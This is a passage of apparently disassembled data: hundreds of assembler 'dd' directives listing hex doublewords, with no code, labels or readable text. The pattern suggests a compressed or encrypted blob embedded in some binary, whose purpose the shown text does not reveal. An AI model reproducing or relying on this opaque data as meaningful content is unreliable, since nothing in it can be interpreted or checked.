0D838C45Ch, 9B009CF2h dd 0B5E4633Ch, 0EFE619Eh, 0A5909D3h, 93F222C0h, 3E00F957h dd 0AA235D3Dh, 5B0821h, 0B4D46453h, 88F7E314h, 96E64100h dd 4A9386CDh, 0BB3F007Bh, 23A2C42Bh, 7F008227h, 0EE725CE6h dd 482E9233h, 1B0CAF80h, 0BF11319Eh, 35B99C00h, 0F8490B40h dd 0F374007Ch, 0C57F325Dh, 270EFFEEh, 3358B1CBh, 4FBE0040h dd 1B57D3h, 0B353B243h, 0D1E91F7Fh, 6708E800h, 881C899Fh dd 0E799813h, 0F0692704h, 7112007Ch, 0B2B6665h, 0ADCA2E00h dd 0A459821h, 4EE305BCh, 16B0BDh, 885943D2h, 0B5073472h dd 8E6D91B8h, 663C9380h, 26FE002Ch, 2211305Bh, 24F675ECh dd 4B3B5900h, 0A4270BA1h, 41650049h, 9C7F8EE3h, 577EB3CCh dd 59A0FF00h, 7497EE38h, 2B5D00AEh, 5FC4B15Bh, 3304C5F3h dd 7F54296Ah, 92C94C81h, 1E7760FCh, 80A70E84h, 5A59B7E2h dd 0B5141FF2h, 88ADA6h, 0E1783A89h, 512D41h, 99DD65D4h dd 0F3A5CC5Ah, 689A48h, 68A97413h, 7AC9ED3h, 0E50628D4h dd 44C440F7h, 3DF08267h, 2BB0A01Dh, 8F1D4607h, 0E71FC260h dd 30DF00AAh, 8998CC41h, 0BEE8A26h, 69E6A30Fh, 0F904A014h dd 0B468095h, 9BAD896Bh, 0CAF34080h, 693E61E8h, 9CD801E2h dd 0E434FF6Dh, 7F03834h, 0CB38BBFEh, 0A41790h, 2328549Bh dd 0AC45D20Bh, 2095488h, 1785FF7Eh, 0B1823440h, 5794861Dh dd 5AEA13C7h, 0D3AC00C9h, 0E9D3B0Ch, 0F1F237Ch, 26AF0480h dd 5269868h, 8A006510h, 2984D06Bh, 0AFB1C01Fh, 0E3F0B556h dd 0CFE03F12h, 5BC84C01h, 398193BBh, 0FBCA064Ah, 88442037h dd 4C6EFE00h, 73322C38h, 0BBF643h, 0C70A2EA9h, 0CBE35193h dd 0D28D3D0Ch, 1F95409Ch, 40BD5681h, 0B7E9F4EAh, 5D00D1B8h dd 89AE2DF2h, 1C72196Eh, 26257E3Ch, 46AC00F0h, 7B503E0Fh dd 7A73580Fh, 77A4E039h, 0D59DB3h, 0EE180B56h, 7F55699Bh dd 2FC7D400h, 0FF71DCC9h, 0DEFE0045h, 9F2C12CEh, 0D0005677h dd 0ABFBB0A4h, 4D59DDh, 1B34928Fh, 8E6F9CCAh, 323ED800h dd 72DBD780h, 79E40089h, 6982E3B6h, 0C04AACEEh, 6B0114FCh dd 1C7E769Bh, 4DB5C017h, 2A8111C0h, 0F815CBh, 829EB013h dd 6FF03093h, 0E1226000h, 617CC053h, 8E080088h, 0F265915Fh dd 0D0059752h, 0EE7D514h, 0ABAE64D0h, 7A020046h, 4454B104h dd 85260157h, 1638F0ADh, 6600F97Eh, 0A571BE2Fh, 1CFF0050h dd 0CE37A377h, 9C07790Eh, 6943840Ah, 0B6DF8079h, 6BA609h dd 0AE13B7C3h, 43EE40BFh, 0ADD83700h, 0A5DA4695h, 0CB633BC9h dd 4CBC9780h, 4EF1868Bh, 0F0EF0D00h, 1968C2C6h, 0F6D4EA66h dd 0A7C50FB8h, 0CA81298Bh, 0C8E5E664h, 0BC13BBD7h, 1C001FC3h dd 9822D9C5h, 1D8B029Dh, 542A0B70h, 0B72BC2E0h, 1C946300h dd 69C34F0h, 1CE090B0h, 0DD9DE9h, 0EA318CA1h, 0C600BD45h dd 5E832D55h, 0E98EA7h, 8A489473h, 0F50C8033h, 0C5B11900h dd 0A4250B95h, 7AE20006h, 4BA3371Dh, 7740655Eh, 473F1622h dd 16F05EA9h, 1AF30052h, 0A0BC335Dh, 44B86C00h, 1FEB3587h dd 8CA75DBDh, 2B584E07h, 0DAC1F0F2h, 0AD00932Ch, 3EDF0FCh dd 5E720h, 522B1F01h, 8A151229h, 5E32D82Fh, 9E9F0080h dd 82377D9Ch, 80B3170Eh, 1FFAC0BEh, 703187h, 0AB7EA9F5h dd 9B2D38E7h, 0B8DDBF1Eh, 0EC0434D6h, 1080EE0Bh, 0A861B2h dd 9D7C1007h, 9536D7F9h, 0DAC98200h, 611D4FF2h, 552209B4h dd 48808058h, 7B6B1C42h, 0C00CA58h, 0B16A8E46h, 0FC8000AEh dd 0FDD6354Ch, 0DD009A61h, 5D7A3C64h, 60EA0642h, 0CF883613h dd 0D7EA2AEh, 0DC227B01h, 0B52A0A2Bh, 0C30BC8h, 34B00775h dd 988C0D09h, 0EE5BA907h, 0FB47421Bh, 31271D60h, 848113AAh dd 0BF4C0065h, 5171A1F7h, 0FA01FC24h, 9F902B00h, 2E49C813h dd 1041EB3h, 325CE1EBh, 0B8E8342Dh, 5C73C75Ch, 941000E8h dd 0D7C0EB52h, 95D10292h dd 0BB07C4ACh, 405B30E0h, 5F315D00h, 0C08030F0h, 0B80B5ED3h dd 686C00F7h, 5609C104h, 117100ABh, 415BCFA7h, 29017036h dd 0DDE42658h, 3C2454BDh, 630B3DBEh, 52680180h, 3F9E5150h dd 6C5DC200h, 8316BDE9h, 0AEFC0063h, 7F5ED5Ah, 3600A6A8h dd 0B08E88CEh, 7F770Ah, 8038558Dh, 35055048h, 0CF95D1Dh dd 7719F6C7h, 0C2D9FCh, 0C008BFC3h, 8E3A6CDFh, 3D1DE11Dh dd 0D700E86Ah, 0C0966023h, 1329C6EFh, 1E40E14h, 0B676AB0Ch dd 0B4F8E812h, 0D3249C7Bh, 94042413h, 57045B50h, 0BA1E0024h dd 655640h, 0DE597B91h, 4A37AFA7h, 1066FB24h, 64DA8A80h dd 0DD358EE0h, 0D4F3C610h, 1513B04Bh, 5001DFDBh, 595FABC4h dd 96D1C4h, 2AFA5D18h, 1E080216h, 8C98CD01h, 0AD9CDFDAh dd 762ED0h, 7587EE19h, 34E2F1B7h, 75ADC0Ah, 290080BEh dd 9E96BB6Bh, 0C3950705h, 325FADC5h, 0F4807920h, 63BFAB38h dd 0D56B3Ah, 27FEB336h, 5CB222B6h, 0F016016h, 60D08DCAh dd 8E0F067h, 4A426200h, 5A7170E5h, 6B93008Bh, 65B74FDCh dd 1B0E15D6h, 20B83818h, 9427E9F7h, 6ED903A6h, 4E92D51Fh dd 2D4CDAD8h, 0F59A6000h, 5F059674h, 3AF67186h, 3193D28Fh dd 11B1FD3h, 8B16F43Eh, 0CD33E8AAh, 48A08E90h, 141C171Eh dd 0FA0F7619h, 62C0A011h, 25A6D46h, 0B36A08Ch, 70C055A1h dd 0A203F09Dh, 0DD9E47C6h, 53398826h, 492A5834h, 3E00684Ch dd 2CDE92C0h, 0E21EAAC8h, 95001658h, 7319ABA1h, 0E7D8D07Fh dd 0C066741Dh, 0D55F8051h, 2D00646Ah, 0BBD49ECBh, 7D8F0EBFh dd 4F7DC7h, 0A20823D8h, 3BC8581h, 7CB6218h, 18CF28h, 79897A6Eh dd 7FDF7B3Fh, 48C5E21Ch, 8A768CC1h, 109FE6D5h, 4F0A86CDh dd 550021C4h, 243D79B8h, 0EE785412h, 0ED745Dh, 0D47EA021h dd 314134F2h, 881A4700h, 71DB44B5h, 0EAF0D9h, 0B23518Ah dd 0F270B783h, 0AF19591Fh, 0E0CC2ECEh, 0B0CE67CAh, 91440013h dd 0DA175D9Bh, 0D0008146h, 801C0D6h, 1DF63Bh, 4A137A76h dd 2E0C36B8h, 0CD009FE4h, 88892D04h, 0F00D22h, 19F3BE42h dd 0A92BC5BBh, 0F487FE02h, 80350C3Dh, 0FBC10BB9h, 79F7126Ch dd 37D440A0h, 0C47D5293h, 0C7633200h, 0A53338F4h, 2EF806h dd 7A052F80h, 1FC0599Dh, 0D06A5205h, 0C8800BB1h, 0E8F11EF5h dd 246C24D2h, 0FB460E10h, 0BA8EDA3h, 2A741000h, 6461D27Dh dd 65B500E8h, 3718997Ch, 618F2A8h, 0A2281E8Bh, 0E7EC9Ch dd 0F62C8446h, 148D325Dh, 0F8CD48h, 0FAA6AF67h, 3F830A9Dh dd 528F85E2h, 0E5208D0Dh, 66BB0D2h, 26B7A70Bh, 82288019h dd 2D2B83h, 0F917A0B6h, 320B8E3Eh, 8F7D0098h, 0DA7E7700h dd 82C44ED5h, 399B607Fh, 0F63FACF2h, 9632C500h, 731CE621h dd 8486131Bh, 0C0EC1DB5h, 779EDE09h, 0A3E0D01Dh, 810E603Ch dd 8E15F36Bh, 28302783h, 0ABB8CFh, 3EC6E1FAh, 50368D59h dd 0DE6C9100h, 9F18E484h, 58177F45h, 7D00DFC4h, 0BEC88599h dd 0D400602Eh, 3C93C7B0h, 0F4D7B798h, 0A3C637AAh, 0C46351A8h dd 50303483h, 0D2582BE2h, 5D7409A0h, 3A506027h, 332A00ABh dd 0BF70E08h, 3800ADEBh, 0BC6AE485h, 1D23491Ch, 8083F905h dd 64F4C5A0h, 0C40028D4h, 25A1DAAAh, 189D76B9h, 615201C2h dd 78003F17h, 1B206DD3h, 293B627Ah, 11B0666Bh, 8FD93DEDh dd 0A034A1BCh, 12C26115h, 33DA3063h, 49C56410h, 0CA75CBFCh dd 4C0FCF00h, 0CE9AEF2Ch, 936300EDh, 15EBB58Ch, 3212FDD4h dd 8020EA8h, 0ECECF13h, 754458E0h, 33001F84h, 8DA8B79Ah dd 0A3E4CCDh, 2543FA71h, 89DB008Ah, 135D556Dh, 34DD48h dd 53D72F47h, 0ACE469h, 18166A2Ch, 0A8D1C5D6h, 1980502Eh dd 52618103h, 7E100EA7h, 39605940h, 1677367Fh, 51BE0A12h dd 0C62E3000h, 4F2602E3h, 725C0095h, 0F9F48886h, 6B003190h dd 82B9088Dh, 1067566h, 29FD78CDh, 0DCD25CA7h, 51000C0Dh dd 191EF2E1h, 23ABAh, 2A42E846h, 0ABC1ED57h, 871832Ch dd 0D8843803h, 7CBBB0C8h, 1D9F801h, 3795305Ah, 3D27F06Fh dd 1BBF00F0h, 8C5D4576h, 99930084h, 0A9D92EE5h, 5A003AF7h dd 7B85A31Dh, 0E60572h, 0B1920306h, 9325FF80h, 8001553Eh dd 0B23C31F3h, 3DFD2ACh, 0A253C8F0h, 2E91071Bh, 88003B6Dh dd 5D690286h, 0ED83015Ah, 0EEFBD346h, 29D9DBBCh, 0FAFFE013h dd 65EB3700h, 741BAB83h, 1F1D0046h, 2A403D01h, 0E51388D2h dd 3200FAC0h, 0F2DCA061h, 42F601A3h, 71A8BDA7h, 0AFACD85Fh dd 80006578h, 497E249Dh, 4FED4Bh, 0B182DB86h, 3958909Eh dd 26FA4200h, 32E5A38h, 0EC1D0087h, 0E84A0F18h, 8517488Ah dd 6E001493h, 0DCD870ABh, 318D0064h, 0B4727850h, 3C002F03h dd 938C6B1Ah, 1C5B18D2h, 80C0C411h, 1B957E4Ah, 5E00B601h dd 0B04B1F8Ah, 0D44D30Bh, 562CBAB4h, 0A759F010h, 0E3C1F800h dd 0EF955D8Ah, 0BD0900A0h, 1BFC14AFh, 3700DC97h, 0BBE77AD0h dd 2C1346h, 0DEB8271Fh, 5DAABFBh, 0B43BE11Fh, 63476E40h dd 4DA1B3h, 8AC6CF7h, 0A8DA3F96h, 134A2900h, 0A973AB87h dd 8B270131h, 1AA5F109h, 9501F882h, 40584830h, 350ED67h dd 44C4AD8Dh, 1900A549h, 0A06ADD11h, 75ABD9h, 835DE6C2h dd 0DCA1EDD7h, 3301A8B8h, 182B3BF3h, 81C82092h, 0DE6010Eh dd 9D6C779h, 884880CEh, 0EAD73B8Dh, 0F0E02Ch, 8AFBD8BAh dd 0EBB2375Bh, 3C007C98h, 2485E9F4h, 0F8C19A4Bh, 3615185Fh dd 0BD03783Ah, 76A99200h, 967342F8h, 5FD40009h, 0B96D0447h dd 4D00D2A2h, 41307CC8h, 93A119h, 25D9F20Dh, 2CD04669h dd 0BC1E51Dh, 7159480h, 2C480517h, 0CD7FEFh, 5A8C9D2Ah dd 3E00F14Fh, 542EFBF6h, 0C1173h, 0D89AD2ADh, 61F43817h dd 744C7500h, 2528A71h, 0C3CA028Eh, 0D7EC0741h, 9E9FAA81h dd 0F37AF8F5h, 2F820D00h, 0BB08DFF6h, 0BEB41EE4h, 957B00B6h dd 0ED93AD68h, 643B88F0h, 8DBC807Eh, 96D60E70h, 73B702F1h dd 8309E4CDh, 7AABB940h, 0E8AE200h, 40DB0C0h, 12AA00ADh dd 281A4A6Bh, 0FD3D8DCBh, 0B746804Dh, 0B4E318FFh, 757A002Ah dd 2815BA70h, 4303E28Fh, 9183DF2Ch, 90103C46h, 9BD54080h dd 0B45CB2D2h, 81E11839h, 4762B55h, 2EF8CF66h, 78B30B52h dd 410099FBh, 483918E2h, 0C2FA5A00h, 42268CB9h, 1A23CBFh dd 719CAE80h, 904157A1h, 0ADC96600h, 43D3FB0Bh, 36F91F19h dd 0EB034444h, 0D0FC831Fh, 0D208BEF0h, 0B8BC0724h, 0C3B44900h dd 9C8E4Ah, 9A3EA3FEh, 0B368F2B0h, 0F499CD00h, 0A75D1A3Ah dd 0D673006Bh, 0E2FD7ACAh, 0C500763Eh, 0C384BCBDh, 54B3A21h dd 0F8C881F2h, 461400E7h, 43596A0Bh, 0D349BE00h, 0A2B5D886h dd 4A6106F3h, 991C6EA3h, 0A6428100h, 0D57D2522h, 80860055h dd 7745E52Dh, 6B062346h, 0C9F02E08h, 0F0E7B030h, 87640004h dd 0ABF6A62Fh, 0EF001E0Ch, 93CF7EF9h, 0F122D4h, 20E91CE7h dd 4783B4E5h, 0F863F40Fh, 7D5BC019h, 8A233Bh, 85BDAAE6h dd 3F2FC315h, 9951F00h, 284E2A01h, 0ED6900D7h, 19CD7FF4h dd 0A8009C6Bh, 86A9AFEh, 0C61257Ch, 79A5F0F6h, 0C030AB98h dd 0F77AD07Dh, 8745584Eh, 539DB200h, 970EB774h, 0A6EA910Ah dd 2E0EE3E7h, 3A408061h, 0DDF779h, 21FD1858h, 1449CE33h dd 5F0C881Fh, 5A89A9C7h, 0CCD94E40h, 1755002Fh, 0ED8D09F0h dd 86011FB7h, 28C0DC37h, 72DCB54Fh, 0A0E200F1h, 8B0947C4h dd 0CC1EE93Bh dd 65C0BDDBh, 0B0A864C5h, 0A091743Dh, 38409DE4h, 4400C3CBh dd 0B4053919h, 338794Fh, 298883ECh, 9B25C8D6h, 68B78823h dd 5F1A0066h, 0C567A851h, 0F21DA4EDh, 78BB2Ch, 967C6F93h dd 0DD839760h, 20A55808h, 0EBE0D5D6h, 23BEDF03h, 0B8E29DBBh dd 12D1B49h, 0FFEE4B12h, 80E3FB68h, 0A85DD818h, 761B42F2h dd 1C6730D5h, 3044C48h, 50E40F1Ch, 9B3E98Ch, 6C21C04Eh dd 0B19802A9h, 1F9CFE07h, 56C01B2Dh, 0BCBA40h, 3924E483h dd 9848BD72h, 39609D30h, 2F6C43Eh, 34CBDF3Dh, 0B80D5F14h dd 0E1B1E89Fh, 8907EB9Ch, 6638EC6Fh, 0AC732198h, 5A00C6E0h dd 0BCDA85D0h, 0C020BFAh, 2CF6BEE9h, 86004858h, 0EEAD2011h dd 2E17DBD3h, 0FA4D5Fh, 0D8A8225Bh, 84A0BB3Eh, 5D0013CBh dd 1AEE4AA4h, 28FBC5F2h, 5984210h, 0C0B932BBh, 29F1805Fh dd 430080E1h, 5BC813E4h, 1C6D1467h, 8FE870EFh, 0C07F1B79h dd 658ADFE0h, 90000631h, 7D3CEC61h, 382D3FFFh, 0E0DF78A7h dd 0EF000579h, 0CFAD79E7h, 4323F0h, 0F9119A20h, 914067E2h dd 519C0300h, 0BBE53B41h, 0B1F4B7h, 0D0129E3Fh, 72C0256Dh dd 29D9A700h, 8841C568h, 27550078h, 0E9217C1Dh, 81F20EFCh dd 932C0400h, 282387E4h, 96C2481Ah, 0BF19DF00h, 0CB17476Fh dd 0BA2CC4C0h, 9CCD93h, 0B3C8ED40h, 0D47B4219h, 481AA806h dd 2910BBC6h, 7E04BCC3h, 1550D218h, 8DF010h, 34743AC8h dd 0DE490D1Fh, 0E4782E00h, 13156A56h, 0C32100D1h, 9ED9B971h dd 0F1764007h, 12376600h, 866B8F42h, 852000CAh, 0C65595DEh dd 3D00C1A7h, 27D843FAh, 0E212642Ah, 94F03Eh, 514B5569h dd 0BD6729F4h, 0FCD8B700h, 0AC4CEF79h, 0D50500B5h, 647F8636h dd 0E4FD41A2h, 0A700AD6Bh, 88BC0A9h, 87C5BFh, 0C2AF0498h dd 979C1F4Eh, 5D6E2500h, 493BF20Fh, 0ABD100DBh, 0B2BE55C8h dd 0D6012B77h, 4FDF6C93h, 0A6DC538Bh, 8E73894h, 0F9D1BC00h dd 0D58791C5h, 0B59F3E00h, 404537DBh, 5DD0059h, 9258EC1Fh dd 710EA48Bh, 0C06DCB5Ch, 64D03485h, 8682004Dh, 0DD7A5D8Eh dd 3FE8BE08h, 0A003377h, 53D98D1Bh, 0EA134Fh, 0B1D08370h dd 1023198Fh, 64AFDD1Dh, 0F34AA240h, 0BD202Eh, 0B66FF528h dd 94808308h, 4C48B00h, 0F9C1666Eh, 39070279h, 0C0991543h dd 24822200h, 20C40085h, 14538371h, 6760EDE0h, 0D4EA5088h dd 0DEAA0482h, 8091B284h, 0DC86CDD8h, 0A640BD60h, 0B6A3AE8h dd 0A81CD570h, 27D8B80h, 0CCEAFB0Ch, 822D3800h, 2AD5755Ah dd 0D2250FD8h, 0C4A0C8F6h, 2F3F57DDh, 0EA8BE700h, 3E710759h dd 0C06330B8h, 9372DEC8h, 3200817Ah, 148D9DA7h, 21EA98h dd 0C5C39CA2h, 2E1B965Bh, 54A43D50h, 59189400h, 74EF9998h dd 0F2170004h, 39CBC3E0h, 3171E384h, 0F3301003h, 0E03D92E4h dd 8B2D01h, 9FDEBD35h, 0C95A7197h, 561FD203h, 8244835Eh dd 0C3B880B2h, 7DA79C7Bh, 7C9004Dh, 77A14B8Fh, 24E3F6BCh dd 9C035000h, 6399956Ch, 7CBAF00Ah, 0E90F417h, 1E51C301h dd 4F409F7Dh, 0E181BC71h, 0F004B36Eh, 25000BCAh, 1086AAE4h dd 489309A9h, 0C602241Fh, 9EE8C1B0h, 71EFFCA0h, 1EC1DBFh dd 0C40A850h, 885F8D00h, 5B99EAC7h, 0D9D3001Fh, 0E4661474h dd 0F4006ED8h, 9F473C97h, 0EE646271h, 68E700E8h, 0A0B2D14Ch dd 8C3090E1h, 0D67F28FFh, 0F87D5FA1h, 0BBA0034h, 16116DFEh dd 0FCB50062h, 0F6F50AEAh, 7C1FB28Bh, 86407414h, 0EFCA0BB7h dd 0B672EBh, 2B161E3h, 5739DBBAh, 9CE8F71Dh, 1CB31BC0h dd 6C7C5Ch, 476BB23Ch, 0C43294D7h, 804AD630h, 51AD3Ah dd 0DD7624C1h, 61EE8E6Ch, 84AFDC00h, 375C7727h, 0BC01004Eh dd 0CBAA0E0h, 210E395Bh, 60AE0DDDh, 97CB4F3Eh, 74B40059h dd 0A20C9ABCh, 833C732Ah, 26AF8F81h, 0EE00DCA8h, 1BD346E9h dd 0E2F70004h, 98F0AC0Ah, 6500248Dh, 0DC7B8005h, 72C89C28h dd 9F23309Eh, 419B1F48h, 8BEAE00h, 962C5332h, 0BB282E1Eh dd 1C5A0030h, 0CAA459DFh, 80F1733Dh, 2F560CD8h, 0F23B9262h dd 8AE90041h, 13B472BAh, 52004C51h, 0FF5430D6h, 9007CBEAh dd 7B8E3FEAh, 0C0B65780h, 0D059A194h, 5500D97Ch, 8E273E96h dd 51FFBCh, 0DD77877Fh, 5E0D4515h, 0BA0780DCh, 0D7D19560h dd 0BDDCFF4Bh, 6BA50052h, 0CB363767h, 0DD143368h, 0E01513h dd 861063C9h, 0E5BC6131h, 666FC440h, 6D7A48F1h, 0B5DB0800h dd 0B2AA58Eh, 84CF8D00h, 0AF066E6Dh, 0B84A001Ah, 210FD12h dd 0E700C35Dh, 0F420809Dh, 1E5AB5Ah, 50A287B1h, 0D0BB1341h dd 3A1ECF04h, 8DC0C4CEh, 0FE785AADh, 837900B2h, 0E7B8E103h dd 250160F0h, 380F9611h, 14C0F7DAh, 0F49803C4h, 0F9264EFBh dd 0B52BCCB0h, 52C67101h, 62ED127Fh, 1CA03C20h, 40D59CADh dd 8239A164h, 3C009493h, 0B024863Fh, 3EEAC817h, 0E60045FCh dd 291CEEBh, 7A00F5B4h, 1DDAA895h, 9799A8Ah, 394B18E1h dd 9C967400h, 7A4C2BD7h, 3B170051h, 0C5994554h, 1DF07Fh dd 42352F72h, 128BFD24h, 1402F9F8h, 6C4CBC11h, 5F814016h dd 0D5F0B1h, 0E50226DBh, 85E77920h, 0F30143E4h, 2F9A9083h dd 72C45413h, 26E00070h, 9B946A60h, 0F7F4AC21h, 28E81D00h dd 240D7B53h, 4E300E3Ah, 26FFE9B7h, 9580000Fh, 0C311FA1h dd 1E08D748h, 3F41C6E5h, 4D6DC716h, 9D24EC0h, 387848B3h dd 0B61AC480h, 1F1DC3DFh, 9E4040C7h, 88107144h, 0AFF60172h dd 48DEA559h, 0F080DEFEh, 0A2A6CE92h, 0CDB62900h, 0F371336Eh dd 6198021Dh, 6C972285h, 0E51FD540h, 0D118A607h, 0A7B0057Bh dd 1DB48E73h, 40A5DB23h, 0DF6F8579h, 0CC38AB80h, 532A0026h dd 0C3F40E1Fh, 0E423FC54h, 857A89h, 2199CF71h, 8A14251Ah dd 59583900h, 4C91C102h, 10A50068h, 4B293318h, 46075235h dd 6241459Ch, 0A8169773h, 2907C363h, 3EC0D26Dh, 85EA3A8Eh dd 9E7FA040h, 88030CF0h, 0C3A1DE3Eh, 0BADB8091h, 669900D0h dd 150868A6h, 1300A8A9h, 31534AFFh, 45DBFh, 99EBCA23h dd 8ADC9BBDh, 3F000C7Dh, 329FD58Eh, 7550EAA8h, 601F00AFh dd 576C9644h, 7300DF09h, 0EC83B9BBh, 0E1C054Bh, 0A25233C6h dd 66ACD6E0h, 0CD0FF035h, 20758143h, 7DE1B591h, 51BB07B2h dd 408E88B0h, 7082392h, 3C8B4903h, 761CA12h, 0ED68A230h dd 0E6FC00A3h, 0E801AB48h, 2DA18C64h, 19808935h, 8EF0DA6Bh dd 10137711h, 1800C4E5h, 899D45Fh, 49F90023h, 0AD8C28D8h dd 6E006535h, 0C90B1F77h, 9AACA7h, 29FC4998h, 3A0EA464h dd 5F373801h, 0EFDEFE54h, 3CECD631h, 48260F1Eh, 0EE40046Ah dd 1FE79AE4h, 0CA5F5D01h, 0F355BE36h, 5B9048C6h, 146F4E6h dd 0AFF9D3A8h, 646420DCh, 0A750E228h, 0A9076D14h, 99750E36h dd 0BE4C2A41h, 0FD730030h, 0B4F5F0h, 862B828Bh, 259DE26Fh dd 58A7A300h, 53397EDCh, 0D7D30EEEh, 0E0CE86ADh, 0E27F6C80h dd 0F903F4B5h, 69DC1FFAh, 1E797863h, 14DD5366h, 0A8004065h dd 69F9D2F1h, 0E186DE9h, 0A7B89E55h, 49A107CDh, 707A9FDCh dd 0B86B78F8h, 740CBEFAh, 405E3332h, 2BC70002h, 0ACC41266h dd 0CA041CBh, 53E34CDDh, 0BED8D0C4h, 3EC0AA9Eh, 0C66B349h dd 0E9F916E2h, 462E1888h, 4500E304h, 9AD06806h, 4C60A3h dd 0E2FFBB40h, 0B753849Ch, 5449DD09h, 0CC55008Ah, 74B965h dd 0BDC92A31h, 186D4D2Dh, 8C1C621Fh, 2CA98DC6h, 300600E9h dd 435A2A11h, 2700DA96h dd 44AC5E20h, 1C5779CAh, 0C05C8AF4h, 7273D7A5h, 3E311CDCh dd 431AC01Fh, 323AC983h, 0A7D28F10h, 3FAA5C0h, 682C8400h dd 0BF5BD445h, 9CDC0014h, 0F3BBE7C6h, 13009447h, 7B5D9B0Ch dd 3B10346h, 1F7CBD8Dh, 32C8CABBh, 900CE59h, 0B95C3037h dd 90DCC851h, 0CCA800E7h, 7C56B64Ah, 38003797h, 596E2506h dd 7C6ADD2Dh, 2132004Ch, 0E730A580h, 0A70FB117h, 960C855Ah dd 0CB792B18h, 7196008Eh, 0DD83B14Ah, 2E001036h, 0C85AA880h dd 1DF585DEh, 10CDB2Ch, 0B116F09Ch, 1949802Fh, 0D8E2535h dd 0A4F44Bh, 289BD81h, 128C6330h, 0A301A390h, 0B058C5C3h dd 42217CC6h, 21310898h, 0C301B9BFh, 0BA1EAAF8h, 18807F8Fh dd 9A0646A5h, 2A00FFD3h, 941DD555h, 0C5F178h, 5881592Ch dd 5C722F5h, 412C6D7Ch, 741B8C3Fh, 7EB3E010h, 15E70D8Ch dd 80301CC1h, 0C8FE7759h, 0DBA78Fh, 7C1576F1h, 0EFAA0D2Ah dd 0DDCA3E00h, 27125261h, 30876017h, 371B2C7Fh, 67F16803h dd 300CCBDCh, 0CC216409h, 0A3013B02h, 0FC87467Ch, 58B00C8Eh dd 1C9E7171h, 0DE8ACA06h, 7CA0D706h, 0D37018D8h, 0B28C4010h dd 0A116C003h, 0E86BD475h, 0E86ABC8Dh, 4D21C1D6h, 0F0531628h dd 0CE5C75ABh, 1FB440CAh, 19910518h, 4C4EE0h, 125E8C58h dd 29F17A20h, 6A0034E8h, 726FEE23h, 0F19A988h, 560AD2A6h dd 263A54E0h, 2A0040F4h, 0C7871AEAh, 625A04h, 25F8A4E4h dd 7D651D36h, 11896800h, 6FAC7CABh, 1BB70371h, 0D8A1856Ah dd 0A063358Ah, 2137AA90h, 3302439h, 552D4191h, 568498E8h dd 17160051h, 0FDBEFA42h, 0AF7C9D83h, 0BB057F00h, 9C66E83Dh dd 0CF1C0091h, 2627CCF7h, 4A00E531h, 9396C1Dh, 0B8FE423Bh dd 580C77FEh, 0BA034C63h, 7993A49h, 1452100Fh, 0CF079E6Eh dd 0EDF0ACF4h, 7FCB771Ah, 0CA8800C3h, 520427B6h, 210A5758h dd 14C6CFA3h, 5D8F8310h, 0B4441131h, 0BBD69B08h, 0C47C2F04h dd 2131410Fh, 0DA7A08D0h, 76843B90h, 803C489Fh, 0B5D2374Dh dd 16020C26h, 9E47AFA2h, 11A0C0E9h, 9661009Bh, 0F8B45D59h dd 18073D26h, 0FA8938A4h, 70D074E7h, 9F604Fh, 0FF3BE468h dd 0BCB65DE9h, 14A8481Eh, 149288Bh, 0CF33CE43h, 0AF301ADDh dd 2E8600BFh, 0E3F3BA30h, 67003AC3h, 0C6F1266Bh, 391C1Bh dd 24EAC588h, 6E8E138Fh, 575E6500h, 0FBD189FAh, 953100B2h dd 0C1B8E661h, 0FFA007ABh, 0FE031218h, 148546BBh, 88B2DB98h dd 39A7DDh, 0E713964Dh, 0F2CEF131h, 24265876h, 543D04ABh dd 9C1CD9DCh, 0B7006712h, 0A5F3F60Ah, 44110042h, 99D29540h dd 4F00A63Ah, 4383945Ch, 1F2DC5C4h, 873FAEBBh, 0DC775AD0h dd 0D200B480h, 0E3FAEBDFh, 605B90BAh, 92F1891h, 4F078F23h dd 8CEAD8B8h, 3BE0CFE0h, 0D341F40h, 0CB8D4394h, 6E98B707h dd 28900A2Dh, 0A4256A2Ah, 308DB60Fh, 1E40B3E3h, 7FBAEC2h dd 32A20614h, 9806F30Ch, 8E203Ah, 28BCC83h, 0F3CE8h, 1E767AA6h dd 0A40169F8h, 3B00527Fh, 2EE29486h, 0C3CA6Bh, 0A316813Ch dd 0E79E23B0h, 0FBEEF671h, 0D58B4500h, 0BB36AD42h, 0A63E0067h dd 0FADFD6D1h, 18006E70h, 485CDD31h, 0E63DC2DCh, 0D360579h dd 0C0E6D247h, 7D063C0Fh, 38FB8300h, 6215F9BEh, 3F951290h dd 9ECF00ABh, 0DF248CBh, 2C0039E2h, 5CA8F065h, 7D3E207h dd 0DD296E33h, 718A00B7h, 0B0294F9h, 0FC472280h, 7F948068h dd 3EF84B1Dh, 5C80C529h, 0F4E5BE50h, 6E0062B2h, 549F6779h dd 30EAF0h, 0BE436371h, 0EECD946Bh, 2043800h, 8332B396h dd 366C0048h, 9BD49FEh, 0D8008646h, 10C3442h, 123826E2h dd 20D5CB29h, 0B2CDD218h, 9D01FE72h, 4BAA74E6h, 7BD4F234h dd 0BD4126CEh, 0A140067h, 0F10EB2E1h, 31637300h, 0EE76BFB7h dd 240CF2F6h, 158662Dh, 15B887D5h, 0D74C2006h, 2E63300h dd 7362C31Ah, 3603014Eh, 4C58284Bh, 0DB83CC12h, 17F7600Ah dd 3007B031h, 20AC7762h, 46E200CAh, 0A1290155h, 2B014F33h dd 31F1BB15h, 0D9F8E443h, 0DDC600C7h, 4D381E0Eh, 0E6079B2Ah dd 4E3FC34h, 411093D0h, 5B7F0030h, 545C574Fh, 0AD3D5826h dd 728F8A4Eh, 9700FC9Dh, 0A4078CDBh, 0ABA100FDh, 355BB02Bh dd 0C51E6E4Eh, 86C0122Eh, 0EFD5190Fh, 200C072Fh, 30C71538h dd 81E699E0h, 8FC28D05h, 35C08E66h, 33A8687h, 0FF3CD86Bh dd 5E98B142h, 9A7D95CFh, 90681028h, 0B31E0605h, 0D880E88Eh dd 4E5422h, 0D82F57B8h, 59CAD019h, 2B66A300h, 0ADC8142Dh dd 78A20064h, 0A9833840h, 5AB0C5AAh, 0E8DE300h, 99B46362h dd 3BB258E4h, 4741600h, 7CD2B8E1h, 0C9322F14h, 7541DEC8h dd 0F7F41366h, 4C5367C8h, 84000801h, 9DCC8969h, 2301C605h dd 0DF60C86Ch, 0F304634h, 0F48B2C88h, 5BA200A0h, 22872DA9h dd 3EF8F75Ch, 3CC68C1Fh, 0EA1013h, 0E0E7A2EFh, 0AC4295B2h dd 44A89D04h, 0C384A46Fh, 40D11480h, 222580EDh, 0EA77802h dd 80F3ADD2h, 1C03B4DCh, 61823CEEh, 49006D48h, 0CFEC6A93h dd 981631A9h, 640974BAh, 